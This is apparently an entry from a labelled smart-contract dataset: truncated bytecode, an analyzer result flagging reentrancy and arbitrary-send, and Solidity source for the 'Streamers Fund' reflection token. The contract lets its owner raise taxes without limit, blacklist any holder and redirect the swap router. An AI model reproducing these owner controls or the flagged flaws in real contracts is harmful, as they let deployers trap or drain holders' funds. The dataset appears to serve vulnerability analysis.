50935050509091565b90939092509050565b600080600080600080600080600061109f8a6007546008546111ee565b92509250925060006110af610ee6565b905060008060006110c28e878787611243565b919e509c509a509598509396509194505050505091939550919395565b600061088e83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610c3e565b60008061112e83856116c9565b90508381101561088e5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016103db565b600061118a610ee6565b905060006111988383611293565b306000908152600260205260409020549091506111b59082611121565b30600090815260026020526040902055505050565b6005546111d790836110df565b6005556006546111e79082611121565b6006555050565b600080808061120860646112028989611293565b9061084c565b9050600061121b60646112028a89611293565b905060006112338261122d8b866110df565b906110df565b9992985090965090945050505050565b60008080806112528886611293565b905060006112608887611293565b9050600061126e8888611293565b905060006112808261122d86866110df565b939b939a50919850919650505050505050565b6000826112a257506000610321565b60006112ae8385611548565b9050826112bb85836116a7565b1461088e5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016103db565b600060208083528351808285015260005b8181101561133f57858101830151858201604001528201611323565b81811115611351576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b038116811461073d57600080fd5b6000806040838503121561138f57600080fd5b823561139a81611367565b946020939093013593505050565b6000806000606084860312156113bd57600080fd5b83356113c881611367565b925060208401356113d881611367565b929592945050506040919091013590565b6000602082840312156113fb57600080fd5b813561088e81611367565b6000806040838503121561141957600080fd5b823561142481611367565b9150602083013561143481611367565b809150509250929050565b634e487b7160e01b600052601160045260246000fd5b600181815b808511156114905781600019048211156114765761147661143f565b8085161561148357918102915b93841c939080029061145a565b509250929050565b6000826114a757506001610321565b816114b457506000610321565b81600181146114ca57600281146114d4576114f0565b6001915050610321565b60ff8411156114e5576114e561143f565b50506001821b610321565b5060208310610133831016604e8410600b8410161715611513575081810a610321565b61151d8383611455565b80600019048211156115315761153161143f565b029392505050565b600061088e60ff841683611498565b60008160001904831182151516156115625761156261143f565b500290565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b6000602082840312156115ae57600080fd5b815161088e81611367565b6000806000606084860312156115ce57600080fd5b8351925060208401519150604084015190509250925092565b6000602082840312156115f957600080fd5b8151801515811461088e57600080fd5b60008282101561161b5761161b61143f565b500390565b634e487b7160e01b600052603260045260246000fd5b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156116865784516001600160a01b031683529383019391830191600101611661565b50506001600160a01b03969096166060850152505050608001529392505050565b6000826116c457634e487b7160e01b600052601260045260246000fd5b500490565b600082198211156116dc576116dc61143f565b50019056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212206d6129e99455ec8dc484c4edd661defd43d902f6902f9126823627045adc5b2764736f6c634300080b0033 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}} | 979 |
0x769bcae53982cc89c22ca9cc8cd6b58744a19191 | /**
*Submitted for verification at Etherscan.io on 2022-03-10
*/
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.10;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library Address{
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
}
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
_setOwner(_msgSender());
}
function owner() public view virtual returns (address) {
return _owner;
}
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
_setOwner(address(0));
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_setOwner(newOwner);
}
function _setOwner(address newOwner) private {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
interface IFactory{
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IRouter {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline) external;
}
contract Streamers_Fund is Context, IERC20, Ownable {
using Address for address payable;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private _isExcluded;
mapping (address => bool) public isBot;
address[] private _excluded;
bool public swapEnabled;
bool public tradingActive;
bool private swapping;
IRouter public router;
address public pair;
uint8 private constant _decimals = 9;
uint256 private constant MAX = ~uint256(0);
uint256 private _tTotal = 1_000_000_000 * 10**_decimals;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 public swapTokensAtAmount = 500_000 * 10**_decimals;
uint256 public maxTxAmount = 10_000_000 * 10**_decimals;
uint256 public maxWalletBalance= 20_000_000 * 10**_decimals;
address public marketingWallet = 0xf93F57Ae5bd57038306E0cdf99eD9c913275a9Df ;
address public lpRecipient = 0xa7C2bC3b527cbE4724eBD11768b5d463E1fCfAA2;
string private constant _name = "Streamers Fund";
string private constant _symbol = "STREAM";
struct Taxes {
uint256 rfi;
uint256 marketing;
uint256 liquidity;
}
Taxes public taxes = Taxes(3,7,2);
struct TotFeesPaidStruct{
uint256 rfi;
uint256 marketing;
uint256 liquidity;
}
TotFeesPaidStruct public totFeesPaid;
struct valuesFromGetValues{
uint256 rAmount;
uint256 rTransferAmount;
uint256 rRfi;
uint256 rMarketing;
uint256 rLiquidity;
uint256 tTransferAmount;
uint256 tRfi;
uint256 tMarketing;
uint256 tLiquidity;
}
modifier lockTheSwap {
swapping = true;
_;
swapping = false;
}
constructor() {
IRouter _router = IRouter(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
address _pair = IFactory(_router.factory())
.createPair(address(this), _router.WETH());
router = _router;
pair = _pair;
excludeFromReward(pair);
_rOwned[owner()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[marketingWallet]=true;
emit Transfer(address(0), owner(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
if (_isExcluded[account]) return _tOwned[account];
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
uint256 currentAllowance = _allowances[sender][_msgSender()];
require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
_approve(sender, _msgSender(), currentAllowance - amount);
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
uint256 currentAllowance = _allowances[_msgSender()][spender];
require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
_approve(_msgSender(), spender, currentAllowance - subtractedValue);
return true;
}
function isExcludedFromReward(address account) public view returns (bool) {
return _isExcluded[account];
}
function reflectionFromToken(uint256 tAmount, bool deductTransferRfi) public view returns(uint256) {
require(tAmount <= _tTotal, "Amount must be less than supply");
if (!deductTransferRfi) {
valuesFromGetValues memory s = _getValues(tAmount, false);
return s.rAmount;
} else {
valuesFromGetValues memory s = _getValues(tAmount, true);
return s.rTransferAmount;
}
}
function tokenFromReflection(uint256 rAmount) public view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount/currentRate;
}
function excludeFromReward(address account) public onlyOwner() {
require(!_isExcluded[account], "Account is already excluded");
if(_rOwned[account] > 0) {
_tOwned[account] = tokenFromReflection(_rOwned[account]);
}
_isExcluded[account] = true;
_excluded.push(account);
}
function includeInReward(address account) external onlyOwner() {
require(_isExcluded[account], "Account is not excluded");
for (uint256 i = 0; i < _excluded.length; i++) {
if (_excluded[i] == account) {
_excluded[i] = _excluded[_excluded.length - 1];
_tOwned[account] = 0;
_isExcluded[account] = false;
_excluded.pop();
break;
}
}
}
function excludeFromFee(address account) public onlyOwner {
_isExcludedFromFee[account] = true;
}
function includeInFee(address account) public onlyOwner {
_isExcludedFromFee[account] = false;
}
function isExcludedFromFee(address account) public view returns(bool) {
return _isExcludedFromFee[account];
}
function setTaxes(uint256 _rfi, uint256 _marketing, uint256 _liquidity) public onlyOwner {
taxes = Taxes(_rfi, _marketing, _liquidity);
}
function _reflectRfi(uint256 rRfi, uint256 tRfi) private {
_rTotal -=rRfi;
totFeesPaid.rfi +=tRfi;
}
function _takeLiquidity(uint256 rLiquidity, uint256 tLiquidity) private {
totFeesPaid.liquidity +=tLiquidity;
if(_isExcluded[address(this)])
{
_tOwned[address(this)]+=tLiquidity;
}
_rOwned[address(this)] +=rLiquidity;
}
function _takeMarketing(uint256 rMarketing, uint256 tMarketing) private {
totFeesPaid.marketing +=tMarketing;
if(_isExcluded[address(this)])
{
_tOwned[address(this)]+=tMarketing;
}
_rOwned[address(this)] +=rMarketing;
}
function _getValues(uint256 tAmount, bool takeFee) private view returns (valuesFromGetValues memory to_return) {
to_return = _getTValues(tAmount, takeFee);
(to_return.rAmount, to_return.rTransferAmount, to_return.rRfi, to_return.rMarketing, to_return.rLiquidity) = _getRValues(to_return, tAmount, takeFee, _getRate());
return to_return;
}
function _getTValues(uint256 tAmount, bool takeFee) private view returns (valuesFromGetValues memory s) {
if(!takeFee) {
s.tTransferAmount = tAmount;
return s;
}
s.tRfi = tAmount*taxes.rfi/100;
s.tMarketing = tAmount*taxes.marketing/100;
s.tLiquidity = tAmount*taxes.liquidity/100;
s.tTransferAmount = tAmount-s.tRfi-s.tMarketing-s.tLiquidity;
return s;
}
function _getRValues(valuesFromGetValues memory s, uint256 tAmount, bool takeFee, uint256 currentRate) private pure returns (uint256 rAmount, uint256 rTransferAmount, uint256 rRfi, uint256 rMarketing, uint256 rLiquidity) {
rAmount = tAmount*currentRate;
if(!takeFee) {
return(rAmount, rAmount, 0,0,0);
}
rRfi = s.tRfi*currentRate;
rMarketing = s.tMarketing*currentRate;
rLiquidity = s.tLiquidity*currentRate;
rTransferAmount = rAmount-rRfi-rMarketing-rLiquidity;
return (rAmount, rTransferAmount, rRfi,rMarketing,rLiquidity);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply/tSupply;
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
for (uint256 i = 0; i < _excluded.length; i++) {
if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal);
rSupply = rSupply-_rOwned[_excluded[i]];
tSupply = tSupply-_tOwned[_excluded[i]];
}
if (rSupply < _rTotal/_tTotal) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private returns(bool){
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
require(amount <= balanceOf(from),"You are trying to transfer more than your balance");
require(!isBot[from] && !isBot[to], "You are blacklisted");
if(!_isExcludedFromFee[from] && !_isExcludedFromFee[to]){
require(amount <= maxTxAmount ,"Amount is exceeding maxTxAmount");
if(to != pair) require(balanceOf(to) + amount <= maxWalletBalance, "Recipient is eceeding maxWalletBalance");
}
bool canSwap = balanceOf(address(this)) >= swapTokensAtAmount;
if(!swapping && swapEnabled && canSwap && from != pair && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]){
swapAndLiquify(swapTokensAtAmount);
}
_tokenTransfer(from, to, amount, !(_isExcludedFromFee[from] || _isExcludedFromFee[to]));
return true;
}
//this method is responsible for taking all fee, if takeFee is true
function _tokenTransfer(address sender, address recipient, uint256 tAmount, bool takeFee) private {
valuesFromGetValues memory s = _getValues(tAmount, takeFee);
if (_isExcluded[sender] ) { //from excluded
_tOwned[sender] = _tOwned[sender]-tAmount;
}
if (_isExcluded[recipient]) { //to excluded
_tOwned[recipient] = _tOwned[recipient]+s.tTransferAmount;
}
_rOwned[sender] = _rOwned[sender]-s.rAmount;
_rOwned[recipient] = _rOwned[recipient]+s.rTransferAmount;
if(s.rRfi > 0 || s.tRfi > 0) _reflectRfi(s.rRfi, s.tRfi);
if(s.rLiquidity > 0 || s.tLiquidity > 0) _takeLiquidity(s.rLiquidity,s.tLiquidity);
if(s.rMarketing > 0 || s.tMarketing > 0) _takeMarketing(s.rMarketing, s.tMarketing);
emit Transfer(sender, recipient, s.tTransferAmount);
if(s.tLiquidity + s.tMarketing > 0) emit Transfer(sender, address(this), s.tLiquidity + s.tMarketing);
}
function swapAndLiquify(uint256 tokens) private lockTheSwap{
// Split the contract balance into halves
uint256 denominator = (taxes.liquidity + taxes.marketing ) * 2;
uint256 tokensToAddLiquidityWith = tokens * taxes.liquidity / denominator;
uint256 toSwap = tokens - tokensToAddLiquidityWith;
uint256 initialBalance = address(this).balance;
swapTokensForBNB(toSwap);
uint256 deltaBalance = address(this).balance - initialBalance;
uint256 unitBalance= deltaBalance / (denominator - taxes.liquidity);
uint256 bnbToAddLiquidityWith = unitBalance * taxes.liquidity;
if(bnbToAddLiquidityWith > 0){
// Add liquidity to pancake
addLiquidity(tokensToAddLiquidityWith, bnbToAddLiquidityWith);
}
uint256 marketingAmt = unitBalance * 2 * taxes.marketing;
if(marketingAmt > 0){
payable(marketingWallet).sendValue(marketingAmt);
}
}
function addLiquidity(uint256 tokenAmount, uint256 bnbAmount) private {
// approve token transfer to cover all possible scenarios
_approve(address(this), address(router), tokenAmount);
// add the liquidity
router.addLiquidityETH{value: bnbAmount}(
address(this),
tokenAmount,
0, // slippage is unavoidable
0, // slippage is unavoidable
lpRecipient,
block.timestamp
);
}
function swapTokensForBNB(uint256 tokenAmount) private {
// generate the uniswap pair path of token -> weth
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = router.WETH();
_approve(address(this), address(router), tokenAmount);
// make the swap
router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0, // accept any amount of ETH
path,
address(this),
block.timestamp
);
}
function startTrading() external onlyOwner{
require(!tradingActive, "Trading already active");
tradingActive = true;
swapEnabled = true;
}
function updateMaxWalletBalance(uint256 amount) external onlyOwner{
maxWalletBalance = amount * 10**_decimals;
}
function updateMarketingWallet(address _marketingWallet) external onlyOwner{
marketingWallet = _marketingWallet;
}
function updateLpRecipient(address newAddress) external onlyOwner{
lpRecipient = newAddress;
}
function updateMaxTxAmount(uint256 amount) external onlyOwner{
maxTxAmount = amount * 10**_decimals;
}
function updateSwapTokensAtAmount(uint256 amount) external onlyOwner{
swapTokensAtAmount = amount * 10**_decimals;
}
function updateSwapEnabled(bool _enabled) external onlyOwner{
swapEnabled = _enabled;
}
function updateRouterAndPair(address newRouter, address newPair) external onlyOwner{
//Thanks Freely
router = IRouter(newRouter);
pair = newPair;
}
function setIsBot(address user, bool state) external onlyOwner{
isBot[user] = state;
}
//Use this in case BNB are sent to the contract by mistake
function rescueBNB(uint256 weiAmount) external onlyOwner{
require(address(this).balance >= weiAmount, "insufficient BNB balance");
payable(msg.sender).transfer(weiAmount);
}
// Function to allow admin to claim *other* BEP20 tokens sent to this contract (by mistake)
function rescueAnyBEP20Tokens(address _tokenAddr, address _to, uint _amount) public onlyOwner {
IERC20(_tokenAddr).transfer(_to, _amount);
}
receive() external payable{
}
} | 0x6080604052600436106102815760003560e01c8063715018a61161014f578063a9059cbb116100c1578063dd62ed3e1161007a578063dd62ed3e14610812578063e2f4560514610858578063e9dae5ed1461086e578063ea2f0b371461088e578063f2fde38b146108ae578063f887ea40146108ce57600080fd5b8063a9059cbb1461075d578063aacebbe31461077d578063bbc0c7421461079d578063bbde77c1146107bc578063cdb3858f146107d2578063d257b34f146107f257600080fd5b80638da5cb5b116101135780638da5cb5b14610691578063924de9b7146106af57806395d89b41146106cf5780639ba5e4d5146106fe578063a457c2d71461071d578063a8aa1b311461073d57600080fd5b8063715018a6146105d3578063728f8eea146105e857806375f0a8741461062257806388f82020146106425780638c0b5e221461067b57600080fd5b80633bbac579116101f357806347c23092116101ac57806347c230921461050057806352390c02146105205780635342acb4146105405780636256d181146105795780636ddd17131461059957806370a08231146105b357600080fd5b80633bbac5791461041857806340b28c2f14610448578063437823ec14610468578063441b1d3014610488578063452e68dd146104a85780634549b039146104e057600080fd5b806323b872dd1161024557806323b872dd14610367578063293230b8146103875780632d8381191461039c578063313ce567146103bc5780633685d419146103d857806339509351146103f857600080fd5b806303c0f5d41461028d57806306fdde03146102af578063095ea7b3146102f857806318160ddd14610328578063188b1bf11461034757600080fd5b3661028857005b600080fd5b34801561029957600080fd5b506102ad6102a8366004612615565b6108f5565b005b3480156102bb57600080fd5b5060408051808201909152600e81526d14dd1c99585b595c9cc8119d5b9960921b60208201525b6040516102ef919061264e565b60405180910390f35b34801561030457600080fd5b506103186103133660046126a3565b610953565b60405190151581526020016102ef565b34801561033457600080fd5b50600a545b6040519081526020016102ef565b34801561035357600080fd5b506102ad6103623660046126cf565b61096a565b34801561037357600080fd5b506103186103823660046126e8565b6109b0565b34801561039357600080fd5b506102ad610a62565b3480156103a857600080fd5b506103396103b73660046126cf565b610aee565b3480156103c857600080fd5b50604051600981526020016102ef565b3480156103e457600080fd5b506102ad6103f3366004612729565b610b72565b34801561040457600080fd5b506103186104133660046126a3565b610d29565b34801561042457600080fd5b50610318610433366004612729565b60066020526000908152604090205460ff1681565b34801561045457600080fd5b506102ad610463366004612746565b610d60565b34801561047457600080fd5b506102ad610483366004612729565b610dc6565b34801561049457600080fd5b506102ad6104a33660046126cf565b610e14565b3480156104b457600080fd5b506010546104c8906001600160a01b031681565b6040516001600160a01b0390911681526020016102ef565b3480156104ec57600080fd5b506103396104fb366004612774565b610ebb565b34801561050c57600080fd5b506102ad61051b3660046126e8565b610f45565b34801561052c57600080fd5b506102ad61053b366004612729565b610fe8565b34801561054c57600080fd5b5061031861055b366004612729565b6001600160a01b031660009081526004602052604090205460ff1690565b34801561058557600080fd5b506102ad6105943660046126cf565b61113b565b3480156105a557600080fd5b506008546103189060ff1681565b3480156105bf57600080fd5b506103396105ce366004612729565b611181565b3480156105df57600080fd5b506102ad6111e0565b3480156105f457600080fd5b5060115460125460135461060792919083565b604080519384526020840192909252908201526060016102ef565b34801561062e57600080fd5b50600f546104c8906001600160a01b031681565b34801561064e57600080fd5b5061031861065d366004612729565b6001600160a01b031660009081526005602052604090205460ff1690565b34801561068757600080fd5b50610339600d5481565b34801561069d57600080fd5b506000546001600160a01b03166104c8565b3480156106bb57600080fd5b506102ad6106ca366004612799565b611216565b3480156106db57600080fd5b5060408051808201909152600681526553545245414d60d01b60208201526102e2565b34801561070a57600080fd5b5060145460155460165461060792919083565b34801561072957600080fd5b506103186107383660046126a3565b611253565b34801561074957600080fd5b506009546104c8906001600160a01b031681565b34801561076957600080fd5b506103186107783660046126a3565b6112ee565b34801561078957600080fd5b506102ad610798366004612729565b6112fb565b3480156107a957600080fd5b5060085461031890610100900460ff1681565b3480156107c857600080fd5b50610339600e5481565b3480156107de57600080fd5b506102ad6107ed366004612729565b611347565b3480156107fe57600080fd5b506102ad61080d3660046126cf565b611393565b34801561081e57600080fd5b5061033961082d366004612746565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b34801561086457600080fd5b50610339600c5481565b34801561087a57600080fd5b506102ad6108893660046127b6565b6113d9565b34801561089a57600080fd5b506102ad6108a9366004612729565b611429565b3480156108ba57600080fd5b506102ad6108c9366004612729565b611474565b3480156108da57600080fd5b506008546104c890630100000090046001600160a01b031681565b6000546001600160a01b031633146109285760405162461bcd60e51b815260040161091f906127e2565b60405180910390fd5b6001600160a01b03919091166000908152600660205260409020805460ff1916911515919091179055565b600061096033848461150f565b5060015b92915050565b6000546001600160a01b031633146109945760405162461bcd60e51b815260040161091f906127e2565b6109a06009600a612911565b6109aa9082612920565b600e5550565b60006109bd848484611633565b506001600160a01b038416600090815260036020908152604080832033845290915290205482811015610a435760405162461bcd60e51b815260206004820152602860248201527f45524332303a207472616e7366657220616d6f756e74206578636565647320616044820152676c6c6f77616e636560c01b606482015260840161091f565b610a578533610a52868561293f565b61150f565b506001949350505050565b6000546001600160a01b03163314610a8c5760405162461bcd60e51b815260040161091f906127e2565b600854610100900460ff1615610add5760405162461bcd60e51b815260206004820152601660248201527554726164696e6720616c72656164792061637469766560501b604482015260640161091f565b6008805461ffff1916610101179055565b6000600b54821115610b555760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b606482015260840161091f565b6000610b5f611a6f565b9050610b6b8184612956565b9392505050565b6000546001600160a01b03163314610b9c5760405162461bcd60e51b815260040161091f906127e2565b6001600160a01b03811660009081526005602052604090205460ff16610c045760405162461bcd60e51b815260206004820152601760248201527f4163636f756e74206973206e6f74206578636c75646564000000000000000000604482015260640161091f565b60005b600754811015610d2557816001600160a01b031660078281548110610c2e57610c2e612978565b6000918252602090912001546001600160a01b03161415610d135760078054610c599060019061293f565b81548110610c6957610c69612978565b600091825260209091200154600780546001600160a01b039092169183908110610c9557610c95612978565b600091825260208083209190910180546001600160a01b0319166001600160a01b039485161790559184168152600282526040808220829055600590925220805460ff191690556007805480610ced57610ced61298e565b600082815260209020810160001990810180546001600160a01b03191690550190555050565b80610d1d816129a4565b915050610c07565b5050565b3360008181526003602090815260408083206001600160a01b03871684529091528120549091610960918590610a529086906129bf565b6000546001600160a01b03163314610d8a5760405162461bcd60e51b815260040161091f906127e2565b600880546301000000600160b81b03191663010000006001600160a01b0394851602179055600980546001600160a01b03191691909216179055565b6000546001600160a01b03163314610df05760405162461bcd60e51b815260040161091f906127e2565b6001600160a01b03166000908152600460205260409020805460ff19166001179055565b6000546001600160a01b03163314610e3e5760405162461bcd60e51b815260040161091f906127e2565b80471015610e8e5760405162461bcd60e51b815260206004820152601860248201527f696e73756666696369656e7420424e422062616c616e63650000000000000000604482015260640161091f565b604051339082156108fc029083906000818181858888f19350505050158015610d25573d6000803e3d6000fd5b6000600a54831115610f0f5760405162461bcd60e51b815260206004820152601f60248201527f416d6f756e74206d757374206265206c657373207468616e20737570706c7900604482015260640161091f565b81610f2b576000610f21846000611a92565b5191506109649050565b6000610f38846001611a92565b6020015191506109649050565b6000546001600160a01b03163314610f6f5760405162461bcd60e51b815260040161091f906127e2565b60405163a9059cbb60e01b81526001600160a01b0383811660048301526024820183905284169063a9059cbb906044016020604051808303816000875af1158015610fbe573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610fe291906129d7565b50505050565b6000546001600160a01b031633146110125760405162461bcd60e51b815260040161091f906127e2565b6001600160a01b03811660009081526005602052604090205460ff161561107b5760405162461bcd60e51b815260206004820152601b60248201527f4163636f756e7420697320616c7265616479206578636c756465640000000000604482015260640161091f565b6001600160a01b038116600090815260016020526040902054156110d5576001600160a01b0381166000908152600160205260409020546110bb90610aee565b6001600160a01b0382166000908152600260205260409020555b6001600160a01b03166000818152600560205260408120805460ff191660019081179091556007805491820181559091527fa66cc928b5edb82af9bd49922954155ab7b0942694bea4ce44661d9a8736c6880180546001600160a01b0319169091179055565b6000546001600160a01b031633146111655760405162461bcd60e51b815260040161091f906127e2565b6111716009600a612911565b61117b9082612920565b600d5550565b6001600160a01b03811660009081526005602052604081205460ff16156111be57506001600160a01b031660009081526002602052604090205490565b6001600160a01b03821660009081526001602052604090205461096490610aee565b6000546001600160a01b0316331461120a5760405162461bcd60e51b815260040161091f906127e2565b6112146000611ad5565b565b6000546001600160a01b031633146112405760405162461bcd60e51b815260040161091f906127e2565b6008805460ff1916911515919091179055565b3360009081526003602090815260408083206001600160a01b0386168452909152812054828110156112d55760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b606482015260840161091f565b6112e43385610a52868561293f565b5060019392505050565b60006112e4338484611633565b6000546001600160a01b031633146113255760405162461bcd60e51b815260040161091f906127e2565b600f80546001600160a01b0319166001600160a01b0392909216919091179055565b6000546001600160a01b031633146113715760405162461bcd60e51b815260040161091f906127e2565b601080546001600160a01b0319166001600160a01b0392909216919091179055565b6000546001600160a01b031633146113bd5760405162461bcd60e51b815260040161091f906127e2565b6113c96009600a612911565b6113d39082612920565b600c5550565b6000546001600160a01b031633146114035760405162461bcd60e51b815260040161091f906127e2565b604080516060810182528481526020810184905201819052601192909255601255601355565b6000546001600160a01b031633146114535760405162461bcd60e51b815260040161091f906127e2565b6001600160a01b03166000908152600460205260409020805460ff19169055565b6000546001600160a01b0316331461149e5760405162461bcd60e51b815260040161091f906127e2565b6001600160a01b0381166115035760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b606482015260840161091f565b61150c81611ad5565b50565b6001600160a01b0383166115715760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161091f565b6001600160a01b0382166115d25760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161091f565b6001600160a01b0383811660008181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b60006001600160a01b0384166116995760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161091f565b6001600160a01b0383166116fb5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161091f565b6000821161175d5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161091f565b61176684611181565b8211156117cf5760405162461bcd60e51b815260206004820152603160248201527f596f752061726520747279696e6720746f207472616e73666572206d6f7265206044820152707468616e20796f75722062616c616e636560781b606482015260840161091f565b6001600160a01b03841660009081526006602052604090205460ff1615801561181157506001600160a01b03831660009081526006602052604090205460ff16155b6118535760405162461bcd60e51b8152602060048201526013602482015272165bdd48185c9948189b1858dadb1a5cdd1959606a1b604482015260640161091f565b6001600160a01b03841660009081526004602052604090205460ff1615801561189557506001600160a01b03831660009081526004602052604090205460ff16155b1561197557600d548211156118ec5760405162461bcd60e51b815260206004820152601f60248201527f416d6f756e7420697320657863656564696e67206d61785478416d6f756e7400604482015260640161091f565b6009546001600160a01b0384811691161461197557600e548261190e85611181565b61191891906129bf565b11156119755760405162461bcd60e51b815260206004820152602660248201527f526563697069656e74206973206563656564696e67206d617857616c6c657442604482015265616c616e636560d01b606482015260840161091f565b6000600c5461198330611181565b600854911115915062010000900460ff161580156119a3575060085460ff165b80156119ac5750805b80156119c657506009546001600160a01b03868116911614155b80156119eb57506001600160a01b03851660009081526004602052604090205460ff16155b8015611a1057506001600160a01b03841660009081526004602052604090205460ff16155b15611a2057611a20600c54611b25565b6001600160a01b038516600090815260046020526040902054610a579086908690869060ff1680611a6957506001600160a01b03881660009081526004602052604090205460ff165b15611c2b565b6000806000611a7c611ed0565b9092509050611a8b8183612956565b9250505090565b611a9a6125a6565b611aa48383612053565b9050611ab9818484611ab4611a6f565b6120ff565b6080860152606085015260408401526020830152815292915050565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b6008805462ff0000191662010000179055601254601354600091611b48916129bf565b611b53906002612920565b905060008160116002015484611b699190612920565b611b739190612956565b90506000611b81828561293f565b905047611b8d8261218c565b6000611b99824761293f565b601354909150600090611bac908761293f565b611bb69083612956565b601354909150600090611bc99083612920565b90508015611bdb57611bdb868261230d565b601254600090611bec846002612920565b611bf69190612920565b90508015611c14576